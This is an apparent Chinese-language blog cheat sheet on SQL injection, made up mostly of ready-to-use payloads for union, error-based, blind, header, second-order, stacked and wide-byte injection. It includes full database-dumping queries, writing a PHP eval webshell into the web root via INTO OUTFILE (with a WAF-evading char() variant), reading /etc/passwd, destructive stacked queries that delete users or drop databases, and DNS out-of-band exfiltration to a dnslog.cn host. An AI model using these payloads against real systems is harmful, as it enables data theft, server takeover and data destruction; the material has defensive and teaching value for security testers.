SQL注入漏洞

39 阅读14分钟

判断SQL注入的点

  1. 黑盒测试注入点寻找

    通常web入侵是黑盒测试,而我们又无法拿到系统的登录帐号和密码,因此一般只能在登录画面寻找注入点或不需要登录的公开页面,类似新闻详情页、搜索页、通知公告页

  2. 白盒测试注入点寻找

    白盒测试用户会将管理员帐号和密码交给我们,因此我们可以在整个系统中寻找用户可以输入的位置,来探测系统是否有注入,甚至直接观看源代码来寻找注入点

判断可注入参数类型

SQL注入的本质就是使用我们自己构造的paylaod闭合原有的SQL语句,来达到我们的目的为了可以正确的闭合SQL语句就需要我们对原有类型进行判断

注入类型分类: 数字型 字符型 搜索型 宽字符 提交方式分类: GET POST Cookie HTTP请求头 按效果分类: 报错注入 联合注入 盲注(布尔注入/时间注入) 堆叠注入

字符型

是指输入的参数以字符串形式拼接到sql语句,它具体的表现就是需要闭合单引号或双引号。 例:select * from news where id = '1970'

探测字符型的步聚:

  1. sql语句中注入单引号,如果数据正常出来,正可以判定它有一个半的可能性是字符型
1970' and 1=1 -- 
  1. 再次确认是否是字符型,如果数据没有显示出来,则可以确定是字符型
1970' and 1=2 -- -

数字型

是指输入的参数以数字形式拼接到sql语句,它具体的表现就是不需要闭合单引号或双引号。 例:select * from news where id = 1970

常见SQL注入的闭合方式
or 1=1 --+
' or 1=1 --+
" or 1=1 --+
) or 1=1 --+
' or 1=1 --+
") or 1=1 --+
")) or 1=1 --+
and or 是无所谓的

判断是否有可显示的点

判断字段数
order by 数字 --+
select * from news order by 6;
1054 - Unknown column '6' in 'order clause
看见以上错误 数字大了
判断可显示位置
union select 1,2,3,4,5...你需要的列数 --+
select * from news union select 1,2,3,4,5 --+
1. 注入点选择没有数据的 id
?id=-1
?id=-88
2. 联合查询
?id=-1 union select 1,2,3,4,5 --+
3. 进一步利用
?id=-1 union select 1,database(),3,4,@@basedir --+

联合查询注入

联合查询注入是在原有的查询条件上,通过union拼接新select语句,union是联合查询的关键,全靠他来连接两个或多个查询语句,union需要保证两端的列一致,不然报错 1222-The used SELECT statements have a different number of columns

联合查询注入payload构造步骤
1. 使用 order by 判断原语句的列数 order by 20 1054-Unknown column'50'in'order clause
  没有报错证明有这些个列还得判断,直到离报错最近的一个才是列个数
2. 使用原地址中的参数让原有的查询为空 一般 加负号
3. 执行联合查询判断数据输出位置
4. 在联合查询中执行需要查询的操作语句或者拖库

使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入

payload 
union select 1,2,3,database(),5,6,7,8,9,10-- -
union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema = database()),5,6,7,8,9,10-- -
union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'dede_admin'),5,6,7,8,9,10-- -
union select 1,2,3,(select group_concat(pwd) from dede_admin),5,6,7,8,9,10-- -
information_schema 是所有数据库的结构 包含了结构与数据
information_schema.tables表 数据库对应的数据表结构  
   table_name      就是数据表名称  
   table_shachema  就是对应的数据库
information_schema.columns表 数据表对应的字段
   column_name     字段值  
   table_name      就是数据表名称
   table_shachema  就是对应的数据库

代码注入

代码注入是为了在getshell的时候使用一句话木马来获取getshell权限,属于辅助类的操作,辅助SQL语句来得到getshell权限

eval() 允许执行字符串作为php代码执行
assert() 断言函数 也可以执行php代码
注意 
eval函数经常会被杀毒软件或者waf拦截,导致一句话木马不生效,所以我们使用assert函数完成一句话木马
assert()可以使用动态变量来完成
<?php @eval(@$_POST['cmd']) ?>

命令注入

就是为了在getshell时使用一句话木马来获得getshell权限。它只是辅助sql注入来完成最终的getshell目标。它与代码注入不同的是。它是专门用户执行外部命令(linux的命令或是windows的命令)

eval(); 执行字符串作为PHP代码 一句话木马经常使用 ls pwd ifconfig shell反弹
assert(); 断言函数 执行字符串作为PHP代码 一句话木马变型经常使用
system()、exec()、passthru()、shell_exec() 用于执行系统外部命令  类似 ``
system()、exec() 需要结合 echo使用
phpinfo(); 获得PHP的详细信息
include()、include_once()、require()、require_once() 用于包含其他文件的函数,可以执行php文件中的代码

文件注入

文件注入是找到可以SQL注入的位置,执行一句话木马并导出文件

注意 文件注入两个点一是权限,二是目录

1. secure_file_priv='' 为空
   show GLOBAL VARIABLES like "%secure%"; 查看
   select (select count(*) from mysql.user) > 0 SQL注入判断有无写入文件权限
2. 知道写入文件位置路径   /var/www/html  /opt/lampp/htdocs 
3. 写入文件位置有可写权限
4. 可以绕过waf等检测

SQL文件写入

1. 判断SQL有无文件写入权限
http://www.dlrb.com/news/news_detail.php?id=211010 union select 1,2,3,4,(select (select count(*) from mysql.user) > 0) --+
2. 尝试写入文件 文件报错也是正常的 
http://www.dlrb.com/news/news_detail.php?id=211010 union select 1,2,3,4,"heima" into outfile "/tmp/mama.txt" --+
3. 上强度 写一句话 木马或者 命令注入
http://www.dlrb.com/news/news_detail.php?id=211010 union select 1,2,3,4,"<?php @eval(@$_POST['cmd']);?>" into outfile "/opt/lampp/htdocs/news/upload/sys.php" --+
4. 上强度 蚁剑

代码注入和命令注入的小技巧

使用mysql函数绕过waf和php
' or 1=1 union select 0,1,2,3,4,5,6,7,8,9,concat(char(60),'?php @assert($_',char(80),char(79),char(83),char(84),'[',char(34),'cmd',char(34),']',')','?',char(62)) into outfile  '/opt/lampp/htdocs/range/upload/test.php' -- -

文件读取注入

读取敏感文件,一个是启动数据库的用户要对目标文件有读的权限,一个就是页面得有显示

1. secure_file_priv='' 为空
   show GLOBAL VARIABLES like "%secure%"; 查看
   select (select count(*) from mysql.user) > 0 SQL注入判断有无写入文件权限
2. 任意敏感文件读取
http://www.dlrb.com/news/news_detail.php?id=211010 union selec 1,2,3,4,,load_file("/etc/passwd")%20--+

错误注入

错误注入前提条件是在代码中必须使用mysqli_error()将错误信息输出到页面中或者可以看到mysql日志
错误注入的应用场景适用于系统在SQL语句出错时能够显示具体的SQL错误信息,它可以用于查询语句,也可以用于更新系语句

错误注入限制显示字符长度为32个字符,不能够完整显示我们需要的信息,需要对信息进行二次切割

select updatexml("hacker ",concat(0x7e,user(),0x7e)," hacker") -- -   0x7e ~
select extractvalue("hacker ",concat(0x7e,database(),0x7e)) -- -
group_concat(table_name) 组查询 但是长度受限制 与 limit冲突
limit 1,1 报错限制32个字符 需要limit进行处理 常用于部分查看
count() 常用于获得个数

完整拖库 payload


// 获得数据库
and updatexml('hacker',concat(0x7e,database(),0x7e),'hacker') --+


// 获得数据表个数
and updatexml('hacker',concat(0x7e,(select count(table_name) from information_schema.tables where table_schema = database()),0x7e),'hacker') --+


// 获得数据表 - 聚合写法 需要赌表名总长度不超过32
and updatexml('hacker',concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),'hacker') --+

// 获得数据表 - 切割写法 limit
and updatexml('hacker',concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1),0x7e),'hacker') --+

// 获得字段个数
and updatexml('hacker',concat(0x7e,(select count(column_name) from information_schema.columns where table_schema = database() and table_name = 'admin'),0x7e),'hacker') --+

// 获得字段值 
and updatexml('hacker',concat(0x7e,(select column_name from information_schema.columns where table_schema = database() and table_name = 'admin' limit 1,1),0x7e),'hacker') --+

// 获得指定数据表的数据个数
and updatexml('hacker',concat(0x7e,(select count(*) from user),0x7e),'hacker')


// 获得数据
and updatexml('hacker',concat(0x7e,(select id from user limit 1,1),0x7e),'hacker')

盲注

Web的页面的仅仅会返回True或False,那么布尔盲注就是根据页面返回的True或者是False来得到数据库中的相关信息,这里的True或者False泛指页面只有两种情况(形态),没有明显的反馈显示信息或者没有报错显示的情况,这种情况就可以使用盲注。顾名思意就是靠猜的方式实现SQL注入。盲注目的也还是拖库、getShell。

布尔盲注(bool)

布尔盲注以页面回显内容的不同作为判定依据,通过构造语句返回页面的“真”和“假”来判断数据库信息的正确性。

布尔盲注常用到函数
1. length : 返回值为字符串的字节长度  
2. ascii : 把字符转换成ascii码值的函数  
3. substr(str, pos, len) : 在str中从pos开始的位置(起始位置为1),截取len个字符
4. count() : 返回数量
布尔盲注payload构造思路
猜测数据库长度
?id=1' and length(database()) > 20 --+
?id=1' and length(database()) = 20 --+


猜测数据库名称
?id=1' and substr(database(),1,1) = 'a' --+
?id=1' and ascii(substr(database(),1,1)) > 90 --+

猜数据表个数
?id=1' and (select (select count(table_name) from information_schema.tables where table_schema = database()) > 4) --+
?id=1' and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) = 6 --+

猜测每个表的名称长度
?id=1' and (select length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 6) --+


猜测每个表的名称
?id=1' and (select substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) = 'e') --+

猜测字段的个数
?id=1' and (select (select count(column_name) from information_schema.columns where table_schema = database() and table_name = 'emails') = 2) --+

猜测字段名称长度
?id=1' and (select (select length(column_name) from information_schema.columns where table_schema = database() and table_name = 'emails' limit 0,1) = 2) -- +

猜测字段名称
?id=1' and (select substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'emails' limit 0,1),1,1) = 'a')  --+

猜测数据个数 
?id=1' and (select (select count(*) from emails) = 8) --+

猜测数据长度
?id=1' and (select (select length(id) from emails limit 0,1) = 8 ) -- +

猜测数据内容
?id=1' and (select (select substr(id,1,1) from emails limit 0,1) = 1 ) -- +

时间盲注

基于时间的盲注和基于bool的盲注很相似,只不过基于时间的盲注用于不管执行的SQL语句正确与否,页面都不会给任何提示,因此无法使用bool盲注。时间盲注的一般思路是延迟注入,基于时间的盲注经常用到的函数还有延时函数sleep(),if(c,a,b),如果c为真执行a,否则执行b。

sleep(3) sql语句休眠
if(条件,条件满足执行,条件不满足执行)
时间盲注payload构造思路
判断是否存在时间盲注
?id=1' and sleep(5) --+

判断数据库长度
?id=1' and if(length(database())=11,sleep(2),666) --+

判断数据库名称
?id=1' and if(substr(database(),1,1)='a',sleep(2),666) --+

ascii码判断
?id=1' and if(ascii(substr(database(),1,1))>96,sleep(2),666) --+

更新注入

在执行插入、删除、更新等SQL语句的时候使用的注入方式 (注册 删除用户 网站访问量) 更新注入类似错误注入,我们还是需要以错误的形式将数据拖库 更新注入同样是需要对SQL语句进行封闭

更新注入payload构造

熟悉表结构 知道有几个位置需要填充,我们使用函数或者其他进行填充
1', updatexml("hacker",concat(0x7e,database(),0x7e),"hacker")),123 --+
123',database(),user()) --+

不熟悉表结构 明确需要填充的位置
1' or updatexml("hacker",concat(0x7e,database(),0x7e),"hacker") or '
and updatexml("hacker",concat(0x7e,database(),0x7e),"hacker")

SQL
insert into user(user,passwd,name) value('1' or updatexml("hacker",concat(0x7e,database(),0x7e),"hacker") or '','1111',now())
and updatexml("hacker",concat(0x7e,database(),0x7e),"hacker")

SQL
delete from user where id = 1 and updatexml("hacker",concat(0x7e,database(),0x7e),"hacker")

HTTP头部注入(XFF注入) / (X-Forwarded-For)

头注是基于HTTP协议注入的,是在HTTP请求头部注入恶意SQL代码,大概率需要登录后才可以发现并进行拖库或getshell

HTTP协议头

  • 在http协议包中包含两部份,一部份叫包头,一部份叫包体。包头是描述本次请求的一些基本信息,比如包体多长

  • 包体数据格式:文本,json,urlencode格式的数据,xml,二进制,等。包头还描述了你从哪里进到这个url地址中,请求电脑的IP地址。

  1. REMOTE_ADDR :不可修改,通常可以使用在反爬虫业务中,当接口在1秒钟之内被调用10以上判定为爬虫,可以使用该字段将请求IP地址给封禁,让以后的请求全部丢弃。
  2. Referer / (HTTP_REFERER):通常在业务系统中用来记录用户是哪个渠道进入站点,最后业务系统来统计进入站点数据从而让用户能够更准确的投放广告
  3. X-Forwarded-for / (HTTP_X_FORWARDED_FOR) :这个是字段与REMOTE_ADDR是一样的功能,REMOTE_ADDR 在经过一些负载均衡之后它的值可能是内网的IP地址,而X-Forwared-for字段可以表示真实的IP地址。
  4. User-Agent / (HTTP_USER_AGENT) :代表了当前访问业务系统使用的终端类型。
  5. Cookie / (HTTP_COOKIE) : 辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据

头部注入步骤

1. 请求拦截 Burp
2. 分析请求头,在什么位置注入
3. 修改请求头,尝试注入
4. 查看结果并分析

头部注入payload构建

1' or updatexml("hacker",concat(0x7e,database(),0x7e),"hacker") or '
1' or updatexml("hacker",concat(0x7e,database(),0x7e),"hacker") --+

Cookie: uname=admin' and updatexml("hacker",concat(0x7e,user(),0x7e),"hacker") --+; PHPSESSID=1231223
Referer: ' or updatexml("hacker",concat(0x7e,user(),0x7e),"hacker") or '

User-Agent: ' or updatexml("hacker",concat(0x7e,user(),0x7e),"hacker") or '

拼接后的SQL
insert into ip(ip) values('1' or updatexml("hacker",concat(0x7e,database(),0x7e),"hacker") or '')

二次注入

二次注入适用于第一次SQL操作程序员进行了过滤 addslashes,会将单引号或者双引号转义,并且将本次的转义字符串存储到数据库,第二次(其他位置)操作数据库没有进行过滤,我们就利用这个来完成第二次注入

二次注入使用场景

  • 在用户注册时注入sql代码,在修改密码时没有对用户名或其它字段使用addslashes方法来转义单引号

  • 在用户注册时注入sql代码,在重置密码时没有对用户名或其它字段使用addslashes方法来转义单引号

二次注入步骤

1. 找到添加用户位置(新增用户/注册)
2. 注册以管理员名称的用户名,密码是你自己的 例如 admin' -- -
3. 登录注册的用户 admin' -- -
4. 重置密码 进行二次注入 update users set password='123456' where user='admin' -- -'; 变成修改管理员的密码
5. 尝试登录管理员账号

堆叠注入

在系统中使用多条SQL语句同时执行,就可以执行堆叠注入,堆叠注入常用于批量删除、数据导入,需要注意的是你必须了解整个数据库结果,大概率需要登录后才可以发现

使用场景

1. 插入多条语句
2. 更新所有用户密码(更新管理员密码也算)
3. 批量删除

堆叠注入payload构造

// 更新堆叠
?id=1';update users set password ='123456'; -- -
// 删除堆叠
?id=1';delete from users; -- -
// 插入堆叠 
?id=1';insert into users values(1,'admin','passwd'); -- -
// 删除数据库
?id=1';drop database synthesize; -- -
// 新建数据库
?id=1';create database synthesize; -- -

宽字节注入

宽字节注入是由于不同编码中中英文所占字符的不同所导致的。通常来说,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。

宽字节注入利用的是MySQL的一个特性,MySQL在使用GBK编码的时候,一个字符的ASCII值大于128,MySQL会认为两个字符是一个汉字,我们利用这个原理输入的数据大于等于%81,就可以将addslashes转义的\与我们输入的一个字符合并为一个汉字,使’逃脱出来,最终实现SQL注入

' => addslashes \' => 导致SQL语句失效
逃逸 \' 转义
%27 => '
%5c => \
%20 => 空格 | +

宽字节注入前提

1. 后端程序操作数据库必须是GBK编码
2. 后端程序员使用addslashes将单引号转义

DNS外带

DNS外带是更新DNS日志服务将SQL语句的一些特殊字符记录在DNS日志上,例如数据库名称、用户名称…

DNS外带payload构造

select load_file(concat("//",(select database()),".l8nto7.dnslog.cn/dlrb.txt"));

sql注入总结.png

sql注入步骤

sql注入.png